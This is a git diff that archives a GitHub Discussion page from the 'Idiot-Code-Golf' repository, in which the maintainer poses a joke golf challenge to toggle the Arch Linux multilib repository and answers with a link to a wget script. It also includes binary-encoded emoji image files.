    + + Ta180m + + + asked this question in + Q&A +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Problem 3: Toggle multilib + + #14 +
    +
    +
    + + +
    + on Apr 30, 2021 + · + 1 answer +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 30, 2021 + + +
    + + + Maintainer + + + +
    + + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    The multilib repository + is a repository containing 32-bit software and libraries that are +required for things like Wine and Steam. It's often useful for playing +games.

    +

    Write a script to toggle the multilib repository!

    +
    + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 1 suggested answer +
    + +
    + + +
    + + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 30, 2021 + + +
    + + + Maintainer + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    https://github.com/Ta180m/Idiot-Code-Golf/blob/main/toggle-multilib/wget.sh

    +

    Hope you have an internet connection!

    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Q&A + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 1 participant +
    +
    + + @Ta180m +
    +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + + Pin discussion + + + +
      + +

      + Configure pinned discussion +

      +
      + +
      +
      +

      + +

      + + + + + +
      + + + +
      +
      +
      +
      + +
      + + + + + +
      +
      +
      + +
      + + + + + + +
      +
      +
      +

      Up to 4 discussions can be pinned and they will appear publicly at the top of the discussions page.

      +
      + + +
      + +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f604.png b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f604.png new file mode 100644 index 0000000000000000000000000000000000000000..a297be1fa3d399cf9acbddbeba595f24eee2f2bc GIT binary patch literal 3064 zcmVA}7XIZFluOYS!ntP7T$2PeVL`xyGl6BMNw8~nMb+y11T~PtupyVVWglIyz z6C(&>LKFikStFn%0dsI91O<}JOzvxvnSA@Y%|B%J&m?~?7%5)WS2H#9|NY+ky8HF( z*Dc(VTXIW!RIUaK<4S^szv_d9HH2-1ZwcoJ7YU^dhG3z9KJy4i>DjIN5Mi|;NSLqR zD2)8wIb8Iia0fZ`7eXvKR75}*QAmVDmIMj2&V>p69oBJusNhY;ZYET=bilZ&4=Q#K zK~2&K)O|Y+rXQ7P{Mi-e95-0b>lpa=#xpK3om8Usn{lW~z7G|<2E!2E+lCAp9R?y} zgFaADI*jASK*5I$`?95><#BhS<|`-eR8ygMm(Y-oV_dp+dn@GeJ7BqX@@hefnKvK3t?DdNHq1+fU>PCQ%w({+FwwxLt z;vJz+k2qiQfp8xwI3@Oa-Ldh^2!}vT>ga2uAxJoE3=;--tMk<0C~7>HfYRvO#d+>f zF#V*0F|sfCY7ruQ-)(W>YM5{jHF}=FBeD6c2UF;fXr$$|G^)Qi9gee{q)X1zeCpSn zxuGm}AS~y&^9~JjE|IW>lK={giGXlhSE79+Pi7+fQO}FP&hbHsmNkiDX?5r3eULDN zCmdnDni?`R5+#m~`r`^BfCt7#mZf&A=hq8^nl~$`IXtREimP+Iar&?hnP2MYd)FN) z$?(LF$vWhHqeEl9SI2Dm;yy7RWFkuFE1Lj%;ho=t-T*XRl&AFK_nuh(oCa!@Gn}0{ z`1fT?HMnrB<4Mvti5^(!uj1{9@b*+7;0-ORa^=}%$@ipHt2rKo2rtQUzI>A~Ow95c zPN`)n%1F^M<3vLxaC3FWv3>Fb=++QdC=}xRQp|ii5cT(r{O_n)c4pXaC~ zzpGRV7S!yvm$K7c@(!B{&n{NuPd-vTq(k1cy66q#=6;-n;!t6dT>_e`IH*1}QdYyc zM|BdT)~s}axqt!?DP8}ji{$@|6#KDY%ZIM?jBOA-M5M6)Dzd$>c!4A+%8o0vRTtCb z2)hJ`!@u#gR$l&n!5edDTr=wRm$c-#?K5w^qP6LN$!ofIq zwshLn_jSAnP9|CP$({ycc38GS7%L%wsyolJKP%&hu@`PiRO}fdj)Es!BOrj!{}iX2 zmH?_PasnvUt!r)m?<1ft?T;(X-A&qdDOdARWPEL7+CI#vxJe z^@R09={6Tse!dW8+uiwZd3)yC5?bITK5vpk03TXu;j^HR7>b5pzlA7Gbp|wCK8E`2 zIMn>`9;#B8p<@3$lq;|Vyj{W19jSf{`_9ZMQS@C}Ub1UE#iUy0)4V#t*yb3H6I#W0uV zp|R*V8VbMSFcl=D{%nE-rt|y6XE@o7`Yc!~3(;h%fLyUyEJ#U7!Sbgc<(XpMQCnXu zXQfj>8U(Z5I8!3_edN|+Go!+iB}(;Hqi4!L{^VeHSN=mS6*Dl^6)G-qK0$0082x$08 zC2os+6e^D_0^hF%g$8T|!StZEY>m($WwV6of^K z7D1`BUpG)Go$+hBPT~h0&xTx8zr2W`ucjbCwjde+1c4hO-)5~bTn41SOI^3f2h@J+4@(!ppp1Mpd#rAk$^R= z9d|#&OJTc*!jk7HLHN6TTia!Ld3nLd#|P7=Psi-pv-#)LsZ-(Y?G3HA>pHX=XI%PD z*QyUx<`W6{n}mSkFyVgsgKrrv+0;OeE$Xs#@Oz98JBLODbrjhvMYabm&wM)!cGhXH zB2>WZf$1uk&v;0Xo8%@=1&74Kxk{L_n5|Nn(iCFvXSY=miso@(-@Pzry0?ntEm{gd zj_1731O+Z1akFc8)u+S7^TJU31Oy7x=^=j1+<4N>E_MWH#k##iz|&oUj0Bf9Y<7h) zqK{Y_pJ0~&c9KdD6O^2NK_E6yXc5R!s)+CJ)6QC@iJ)wtI@w!>`Ks0>k(k4

    0;(E53EaC-R*F#hYG?c(ane_-#^i?PV(!FHXW>Z3qTytZ9COQUWVhyROm zZi5VFxiWj9_P|&)e64L0g`a4!c(#-Tl|q4c=gdUmtIL>Uok9wYj)!%vpA@~cSPA1n zZM*i>?j2>la4GwuB{B8-Zx!PHFeRyAN>;atx+FDryrslM4{jV5Oj4s@trHCE9)RJ^ zr#eT#>o3Fj@5fQR)&o1AyO!!c^ne1%>$y$sqW%jdEq#4O0-hJ-$}d5}09HRIpdxNK z>h~*U!4R)R#LH@23AoF4JG)^J4DYL9SThZV)eB&JV+jnaXiBX5do!LVqMm?pwLd*G z3HktM=mTww90!-H5c`?}m7gkQ+f(uJQ1ShABnZ7bc0nRo@TC_m?2kM)upzC?rCzelUa_laf*r*dJHc-_0F9y;_Mg>(r=-aqf&xvUM~o zqKIw3Ds)!Zu%T7q5GR33PBn4kn1XIWRqXvJ-mHM(Bkp9kp?WKo)0#_Z?CQPHRblt- zsIfBy7$qb)3Z%{xj&$4gdb)3SuUIfKl7i~kQ4Z&PRm@0o-g+}EmERHUPN@tR?q)YI zxdIA|718%PjPn&ycejiu`}tLvo)9*qNI{gStTcQes^iAqD93rQGlpAlhFS=3^NW!^ zE$noaWsBlyD32P7nr-8*pW{S&`KG~Kw^-yPJSz0KNbeBuAT)6!LV7ioZ5~4LVRX+0 zxmYKZMGg`jXD|_h`Fy`oLL)&(MjRkOgmGhk8Wnd@RPHhvJm6Mr9>$m97COvqi7VPD zj29e5N<#%#8irwHT-pDh>QJnpKsAg9PKws#)EJ5#V^F(oJO_Pezw!Snqwir;iryK( zMip$^60WkdebO~Xa8%*@h#%?;lkz`4q?J`;Rp;pd0000vUJ%hGP;vhOwLvNsT05yueqh$e)MV98~T`1dlR3ZE@$ z&SQVF z-C+#$4htG1yLmlR3>)Is^=u(3_I`gwTT1T-=b>ays{7Ndh~U1UhW3MVz`iA+zcISe z!^#orAtR1+G#QCk2&F6=$91>A_XR;ZCUBouL)$;5gT)vp4BUDV;doDOZfXFzlQJ;D&5Q_ze#@y|^x0Xy3!M%}S9 ziIm|=dFr&#S}{$G4u|cp_tI}M19@9Z+5P>e#yWV7jgJZWTW_;j*ugn5>YX3X?^DEe zM(!7|2sSe}K+NGhI`6hOOaptpJ>3c;r6IoP?6SM4?ss% zDtNExV@_Vcbyf-1!U;XAMIJjDwYYHI$Yx-pR}mD6{YW{sPq`iaw@n7`B^`Y~B=F#J zYBR+PeNIzO5)pZvPZKF~vmVG2i=`Jj;4f6k?mV1g?zv3v>cz~fzd-*>cB?+FKlw}W(Ayw z=ML4Jra&5KbrIR--Mwh$7rG=8zdcOtFq*snAwAo$?O;mzH4P zHA7f&#Afb|2YKv;u*kP;VpBzyhZ!9;G@?QANo0$Z$b~)nE$<{!1ET`=()&b`^qada zdvW;Se-N~79W@5%Iwcb;LR~nKpVrZcIy`$I1IkT0_^?tB?uH1myK7l+tU}M*sy-M& zR@syV)}o2r2siWDqb!*8R&k*Hz#K^(wbo_A%4bv{lgaw9e2D^@P7XXrxOTz-%N8r| zXzTeOtHF6$a$X_Q@^mXr?ud&U3?1t}RAhjyfg-PS)#(u206RLbF2wL#J}5IKcCo2B}1cXQdZ z^keJJsgew^uPnIIgmtUK&*|6vUK6sdBRi$V1IN348@C?@GQeAW{vS-1)cCH=p$+i* zOW_+})vrPuU{A5M9VgWmi6h3kHG$@TC4x2`QW~d-A5v-4+uE?(%70TEvaK_FC3yg4 zkir1vfmVPE_#*`iX?gpVOn5j;9#CPqTn6>W!=JY`M>2wvU-XEaf~2%SSgjIM;9SrZ zzyWI!(r>;z@W}ng7c~J5`Ch4H{is$TJfJa<0c?nfE4c^W(Zf?;Q}Ss2 z#FrId&enpjNkVm}Arm&O)xuXEQ}DLFwOlEJpJY%CK^(9IGJqQ)c7LN2jhSK!xW)_+ zbPCjGP|`3e;ky!Q3Wy+Bt0PN|N_a17Lk7X~q6jit4d6bj6x-sneg+T+ot?+=#HS&1 zG=h%jMGSb?-vD`REl-8_&xY=+hEa+3y|aY@-UxKu{S#ga+mQsm%Z8Yt>!Jaww(DRm zZg_sMLIsN+zMVZP6*72ykpfmet%8Er7eL+n`e^n|Wj>Ia#;MR99Aq-a4dUV4qwWYbMot7Qc2Rsxi3W|Ko{8E z1RweXubY_@z--IeG+_bbdhZM;|uRy~6!}5zcLp zM9P)vg^oR`;69=m5L|~fkd+>o^izxFVEmm5YPPEB*+D_a-{6ap8LW9u4*%Om-wh2Me@hbNPeC~w#|9$ST($^b^wA}Q_OfK?ESHTaw3YUy zy7p}RK?1awrVeSavlhe) z;y%Qm`Nhas3!Sb~wkW)z#gqijt!aZt9F5+xDUtUrikyh0Y!F4M}Q=1Sznb=!-k zV0@StyC7Gb4EDmwf;hp2$mR2Ws02MB1C`i=00HZUc=U<~Fe*oG3<|i8qN#it?$?Kx zmbe=m*nBoz#Fo#r=!QmA&W->9N=PVHI80M1a8k5JQYjcaQlMk&d;)!@@Az-6<{31l z@SREIRd8op>^hz8V_zw3Sc=$3y;fY6}+JEgPGdpcobXqtRee)K*y2(u!Qly0^KXnR9)gpF7i&J?x&HlgWzfo{>-T z;OKQeL+ zPjZqloFoqI;u3*hD@}}-O6$hXaDlsZCO3c3_VU#zO+H+i7#}Z=j*ctxr+c3yU2_6N z%+|P6jBOZV!-(S8Sf;Ai8e`v*Rx688V3Lfk_1siRn6?a{rGkV1YD9>arXNlUpp00MZEfP zV=a|4H&R`{0kIYjE^oHtxKyTk<_5}dKLg)vf%+|Lssj6;U^4>g_yl4s7)x3m1=Juy zR4juSjEhJ{$57R`ttkPKGA7p5m&1!$Ug81->9{a#VGPSlgrHCYL{yPABfu-;E{uDn z76CD+NN!w^BL@;z8gs4;{Z#JkM4h)!1 zt7(>GBqQS(XKBvO;M=VX&$(;nUSM*k)T44G&el!Ph1UEWhbO`-Nac);VuFA!%)auU z;i|HY%tc<#JRrN6Ol%c zBu$PXES3PVYeIl^oNZj_S6@Id)`4hz@Cy`&zXHl87lkn^B0@iibqyDD*3b(uV$L^V 